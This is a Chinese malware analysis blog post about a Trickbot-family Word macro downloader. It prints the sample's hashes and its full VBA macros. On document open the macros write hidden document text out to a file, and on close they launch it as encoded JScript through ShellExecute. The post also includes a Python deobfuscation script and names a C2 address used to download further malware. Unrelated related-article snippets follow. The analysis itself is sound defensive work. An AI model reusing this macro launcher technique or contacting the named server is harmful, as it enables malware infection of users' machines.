一例Trickbot家族js下载器的分析

news2024/9/24 13:21:41

样本信息

MD5: e36380d824811bc28fbc26ea84c1a868
SHA1: 19d5fc16cfabae3b3c26bbb4f5798da42733a2fa
SHA256: 16429e95922c9521f7a40fa8f4c866444a060122448b243444dd2358a96a344c
SHA512: 6c6f323893870536822a2aa2aebe783379906081fcf004dd04cb40cc1109c3452d39b548ac8b2a6544601a132f1117aedaca7061c2dbd38dcdba0cbccd07940e
CRC32: a4f4cfc0

分析环境

  • windows7 x64虚拟机

  • oledump.py

  • notepad++

静态分析

使用oledump.py分析这个宏病毒样本的结构

在这里插入图片描述

使用使用使用使用 使用使用下面的命令分别导出A3和A4段的宏代码

python oledump.py -s A3 -v 1.docm > A3_macro.txt

python oledump.py -s A3 -v 1.docm > A3_macro.txt

A3_macro.txt

Attribute VB_Name = "NewMacros"
Public polindrome As String

Function finger()
finger = "" & Chr(80 + 3) & "he" & "l" & Chr(100 + 8) 
'finger = "Shell"
End Function

Function Nails()
Nails = Chr(30 + 2) & "/" & Chr(100 + 1) & ":"
'Nails = " /e: "
End Function

Function spoon()
spoon = finger & "Exe" & Chr(90 + 9) & "ut" & Chr(100 + 1)
'ShellExecute
End Function

Function cup()
cup = Chr(80 + 3) & Chr(90 + 9) & "r" & "ip" & "t"
'Script
End Function


Function HIV()
HIV = "open"
End Function

’执行jse内容
Sub Hercules(button As Long)

Dim ok1() As Variant
Dim ok2() As Variant
ReDim ok1(7)
ReDim ok2(8)
VBA.CallByName VBA.CreateObject(finger & "." & Chr(60 + 5) & "pp" & "li" & Chr(90 + 9) & "at" & "ion"), spoon _
, VbMethod, Chr(80 + 7) & cup _
, Nails & Chr(70 + 4) & cup & " " & Chr(30 + 4) & polindrome & Chr(30 + 4), "", HIV, 2 - 1
'VBA.CallByName VBA.CreateObject("Shell.Application") "ShellExecute", VbMethod, "WScript"," /e:JScript 1.docx","open",1
End Sub




'输出jse的内容
Sub Wick(John As Long)
'
' Sand Macro
'
'
Dim Huge As Variant

polindrome = ActiveDocument.FullName & "x"

Dim duma As String, vc As Integer
duma = polindrome
vc = FreeFile

Open duma For Output As #vc '打开1.docmx 用于输出
Print #vc, ActiveDocument.Content.Text
Close #vc 

End Sub

Sub AcceptConflictAndAdvanceU()
'
' AcceptConflictAndAdvanceU Macro
'
'
MsgBox "WAY"

End Sub

A4_macro.txt

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim oxand As Variant
Wick (100)
End Sub


Private Sub Document_New()
MsgBox ("Something" & ActiveDocument.Variables("feet").Value)
End Sub

Private Sub Document_Close()
Hercules (999)
End Sub

这里我们将此样本重命名为1.doc,这个宏代码比较简单,打开1.doc文件,会调用Wick函数,将1.doc的ActiveDocument.Content.Text的内容写入到一个新的文件1.docx中。关闭1.doc时,会执行Hercules过程,执行命令

WScript /e:JScript 1.docx

以jscript方式运行1.docx.

1.doc实际是一个docm文件,将后缀名修改为.zip,使用winrar解压后,进入word目录,查看一下document.xml,查看一个文档内容

在这里插入图片描述

打开document.xml会发现,里面有一段很长的脚本,文本的颜色是背景色
在这里插入图片描述

我们用word打开这个doc文本验证一下。

在这里插入图片描述

可以看到左下脚,页面和字数都很大,但是文档内容只能看到一张图片,其余的内容都被隐藏起来了。

按Ctrl+ A 将文本的字段颜色修改为黑色,就能看到脚本的内容,如下图所示。

在这里插入图片描述

点击启用内容后,VBA脚本已经执行。

弹出一个对话框,并在当前目录下生成了一个文件1.docx,这不是一个word文件,是一个加密的jse脚本文件,正是1.doc中隐藏的内容。
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

解密与去混淆

下面分析一下这个加密的JScript代码

首先对其进行解密 ,可使用这个在线解密工具JScript.Encode 在线解密 (jb51.net),再使用Online JavaScript beautifier对代码进行格式化后,就得到了下面这样一个js文件

在这里插入图片描述

这个文件进行严重的混淆,大小达到了惊人的30158行,如何去混淆和分析,可参考分析可参考我的另一篇博客 NEMUCOD病毒jse样本分析_巴哥的博客-CSDN博客,去混淆的代码有点些许的不同,主要是前面这个变换函数不一样了,代码如下

#-*- coding:utf-8 -*-
import re,os,sys

js = """
function DtbSlDW(ppqeac, qenvwr) {
    try {
        gzzcggot32ko = 0.714;
        gzzcgnationalities78ko = 0.66;
        gzzcgacted22ko = 0.241;
        gzzcgwork93ko = 0.123;
        gzzcgrooms26ko = 0.628;
        gzzcgcase58ko = 0.279;
        gzzcgalso74ko = 0.41;
        knqtheir_4(ppqeac, qenvwr);
    } catch (e) {
        if (qenvwr != 'from') {
            return true;
        } else {
            return String[qenvwr + ['Char'] + ['Code']](ppqeac);
        }
        return false;
    }
};"""

filename = sys.argv[1]
data = open(filename,'r',encoding='utf-8').read()


b = re.findall(r"((\(function\(\) \{.*?DtbSlDW\(.*?\).*?\}\)\(.*?\)( \+ )*)+)",data,re.M | re.S)
for i in b:
    #x = js2py.eval_js(js + i[0] + ';')
    x = i[0]
    x = x.strip(' ').strip('+') #去掉首尾的空格和+
    #利用这段代码构造一个js文件,打印出其表示的真实字符串
    open('1.js','w',encoding='utf-8').write(js + '\nvar a = %s; WScript.Echo(a);' % x)
    #使用CScript.exe执行这段代码,将结果输出到文件output.txt
    ret = os.system('CScript.exe //Nologo 1.js > output.txt')
    if ret == 0:#CScript执行没有报错
        output = open("output.txt",'r',encoding='utf-8').read().strip()
        print(output)
        #替换找到的代码块
        data = data.replace(x,'"%s"' % output)
    else:#报错的话,需要单独处理
        #print(i[0])
        pass


a = re.findall(r"[A-Za-z0-9]+\[\d\] = \{.*?\d+\: \d+.*?\} \[((\(function\(\) \{.*?DtbSlDW\(.*?\).*?\}\)\(.*?\)( \+ )*)+)\];",data,re.M | re.S)
for i in a:
    #x = js2py.eval_js(js + i[0] + ';')
    x = i[0]
    x = x.strip(' ').strip('+') #去掉首尾的空格和+
    #利用这段代码构造一个js文件,打印出其表示的真实字符串
    open('1.js','w',encoding='utf-8').write(js + '\nvar a = %s; WScript.Echo(a);' % x)
    #使用CScript.exe执行这段代码,将结果输出到文件output.txt
    ret = os.system('CScript.exe //Nologo 1.js > output.txt')
    if ret == 0:#CScript执行没有报错
        output = open("output.txt",'r',encoding='utf-8').read().strip()
        print(output)
        #替换找到的代码块
        data = data.replace(x,'"%s"' % output)
    else:#报错的话,需要单独处理
        #print(i[0])
        pass



b = re.findall(r"((\(function\(\) \{.*?DtbSlDW\(.*?\).*?\}\)\(.*?\)( \+ )*)+)",data,re.M | re.S)
for i in b:
    #x = js2py.eval_js(js + i[0] + ';')
    x = i[0]
    x = x.strip(' ').strip('+') #去掉首尾的空格和+
    #利用这段代码构造一个js文件,打印出其表示的真实字符串
    open('1.js','w',encoding='utf-8').write(js + '\nvar a = %s; WScript.Echo(a);' % x)
    #使用CScript.exe执行这段代码,将结果输出到文件output.txt
    ret = os.system('CScript.exe //Nologo 1.js > output.txt')
    if ret == 0:#CScript执行没有报错
        output = open("output.txt",'r',encoding='utf-8').read().strip()
        print(output)
        #替换找到的代码块
        data = data.replace(x,'"%s"' % output)
    else:#报错的话,需要单独处理
        #print(i[0])
        pass

#保存结果
open('去混淆'+ filename,'w',encoding='utf-8').write(data)

去混淆之后 的代码只有390行,其cc服务器为https://185.159.82.15/hollyhole/c644.php,主要功能是下载恶意代码执行和感染可移动存储介质。

下面的分析同 NEMUCOD病毒jse样本分析_巴哥的博客-CSDN博客一样,不再赘述。

参考资料

VBA语句集100句 (Word VBA) [转]_sobigring的博客-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/78968.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

安卓APP源码和设计报告——导航系统

演示答辩发言稿&#xff1a; 注意&#xff1a;1.在mainfest.xml文档中添加访问权限即一系列<uses-permission>元素使用Android中提供的权限。比如百度地图的使用联网的情况下需要网络功能权限。 2.在Stings.xml中添加一些字符串数组&#xff0c;离线数据管理、简体繁体…

python---数据容器

目录 环境安装 python语法 打印语句 注释 变量 变量声明 变量类型 boolean类型 占位符 控制数据精度 输入输出 条件控制 循环语句 while循环 for循环 函数 None类型 数据容器 列表 元组 字符串 序列 集合 字典 环境安装 1、安装python运行环境 Welcome t…

swiftui 中的app和 Scenes有什么,他们是什么关系

app和 Scenes有什么,他们是什么关系 SwiftUI 中的 app 和 Scenes 是两个相关的概念,它们都与应用程序的用户界面有关。 app 是指使用 SwiftUI 框架开发的应用程序,它包含了用户界面的所有内容和逻辑。在 SwiftUI 中,app 的界面通常由多个视图组成,每个视图都可以显示不同…

使用声网 SDK 构建 Piloteer 助盲服务平台的最佳实践

前言 在今年声网主办的「RTE2022 编程挑战赛」中&#xff0c;数支队伍经过一个多月的努力开发&#xff0c;很多优秀的作品最终突出重围&#xff0c;斩获大奖。本文由RTE2022编程挑战赛获奖者之一李新春撰写&#xff0c;他主要围绕获奖作品「Piloteer助盲服务平台」分享了开发的…

用HarmonyOS ArkUI实现点赞美女翻牌动效

本文演示如果用HarmonyOS的ArkUI来实现一个点赞的动画效果。体验HarmonyOS 3最新的API 9&#xff0c;欢迎大家一起参与构建这个万物互联的时代&#xff01; 活动主页 HarmonyOS线上Codelabs挑战赛已经开启&#xff0c;该系列挑战赛将围绕HarmonyOS的基础组件和容器组件、三方…

用Clash解决Python安装模块慢的问题

已经开了代理了&#xff0c;但如果没有使用全局模式的话&#xff0c;Python模块下载速度依然非常慢&#xff0c;只有几十K。使用全局模式是可以解决这个问题&#xff0c;但同时访问国内的一些网站又会速度特别慢&#xff0c;甚至打不开。 比如我们亲爱的知乎就会显示&#xff…

Vue项目初始化

1.创建脚手架&#xff1a; cmd控制台切换到指定的目录命令&#xff1a; vue create 项目名 然后cd到项目里运行&#xff1a; npm run serve 生成目录 2.配置&#xff1a; &#xff08;1&#xff09;关闭eslint 防止定义没用带来的报错 在vue.config.js中&#xff1a; 配置&…

Codeforces Global Round 19 D. Yet Another Minimization Problem

翻译&#xff1a; 给定两个数组&#x1d44e;和&#x1d44f;&#xff0c;长度都为&#x1d45b;。 选择索引&#x1d456;(1≤&#x1d456;≤&#x1d45b;)&#xff0c;将&#x1d44e;&#x1d456;和&#x1d44f;&#x1d456;交换。 让我们来定义数组的成本&#x1d…

Java连接SQL Server数据库的详细操作流程

Java连接SQL Server数据库的详细操作流程 一.明确JDK版本和下载驱动 1.1 JDK版本查看 win r输入cmd,命令窗口输入java --version 1.2 SQL Server官网下载驱动 SQL Server驱动下载直达地址 下载完成后解压到自己熟悉的目录&#xff0c;不出意外的话你会看到以下文件 1.3 …

IO流~字符流

字符流 为什么会出现字符流 由于字节流操作中文不是特别的方便&#xff0c;所以Java就提供字符流 字符流 字节流 编码表 用字节流复制文本文件时&#xff0c;文本文件也会有中文&#xff0c;但是没有问题&#xff0c;原因是最终底层操作会自动进行字节拼接成中文&#xf…

基于Java的学生竞赛管理系统

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战 主要内容&#xff1a;毕业设计(Javaweb项目|小程序等)、简历模板、学习资料、面试题库、技术咨询 文末联系获取 项目介绍…

数据库面试题1-数据库基本概念、常用SQL语言

题1&#xff1a;什么是数据库 数据库&#xff08;Database&#xff09; 是保存有组织的数据的容器&#xff08;通常是一个文件或一组文件&#xff09;&#xff0c;是通过 数据库管理系统&#xff08;DataBase- Management System&#xff0c;DBMS&#xff09; 创建和操纵的容器…

Chat GPT原理

ChatGPT一经发布就在科技圈火得不行&#xff0c;这两天也是被传得神乎其神&#xff0c;听说它写得了代码、改得了 Bug&#xff0c;小说、段子统统不再话下&#xff01;那他到底是怎么训练成现在这样的呢&#xff1f;本文介绍李宏毅老师的分析。 那么接下来我们就来介绍Chat GPT…

学习在UE中为截屏工具(SceneCapture)添加一种新的源(Source)

SceneCapture 创建一个SceneCapture2D类型的Actor&#xff0c;再新建一个RenderTarget资源交给它。随后&#xff0c;就能看到截屏的数据出现在RenderTarget中。通过修改 Capture Source &#xff0c;可以改变截取的数据源&#xff0c;比如法线、基础色等等。 目标 本篇的目…

论文投稿指南——中国(中文EI)期刊推荐(第4期)

&#x1f680; EI是国际知名三大检索系统之一&#xff0c;在学术界的知名度和认可度仅次于SCI&#xff01;&#x1f384;&#x1f388; 【前言】 想发论文怎么办&#xff1f;手把手教你论文如何投稿&#xff01;那么&#xff0c;首先要搞懂投稿目标——论文期刊。其中&#xf…

AndroidT(13) Log 系统 -- logd 服务的初始化(七)

1. 概览 经过上一章的分析&#xff0c;现在也是时候讨论下logd的初始化了&#xff0c;虽然 logd 在代码量上来说并不大&#xff0c;但是还是分模块进行分析比较合适。所以这里就不贴整体代码了&#xff0c;这部分代码也被包含在AOSP t 的代码中&#xff0c;有兴趣的读者可以自己…

【LeetCode102. 二叉树的层序遍历】——层序遍历

102. 二叉树的层序遍历 给你二叉树的根节点 root &#xff0c;返回其节点值的 层序遍历 。 &#xff08;即逐层地&#xff0c;从左到右访问所有节点&#xff09;。 示例 1&#xff1a; 输入&#xff1a;root [3,9,20,null,null,15,7] 输出&#xff1a;[[3],[9,20],[15,7]]示…

[附源码]Python计算机毕业设计SSM基于的优质房源房租管理系统(程序+LW)

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

LeetCode HOT 100 —— 207 .课程表

题目 你这个学期必须选修 numCourses 门课程&#xff0c;记为 0 到 numCourses - 1 。 在选修某些课程之前需要一些先修课程。 先修课程按数组 prerequisites 给出&#xff0c;其中 prerequisites[i] [ai, bi] &#xff0c;表示如果要学习课程 ai 则 必须 先学习课程 bi 。 例…

软件测试的类型

在本节中&#xff0c;我们将了解各种类型的软件测试&#xff0c;这些测试可以在软件开发生命周期时使用。 众所周知&#xff0c; 软件测试 是根据客户的先决条件分析应用程序功能的过程。 如果我们想确保我们的软件没有错误或稳定&#xff0c;我们必须执行各种类型的软件测试…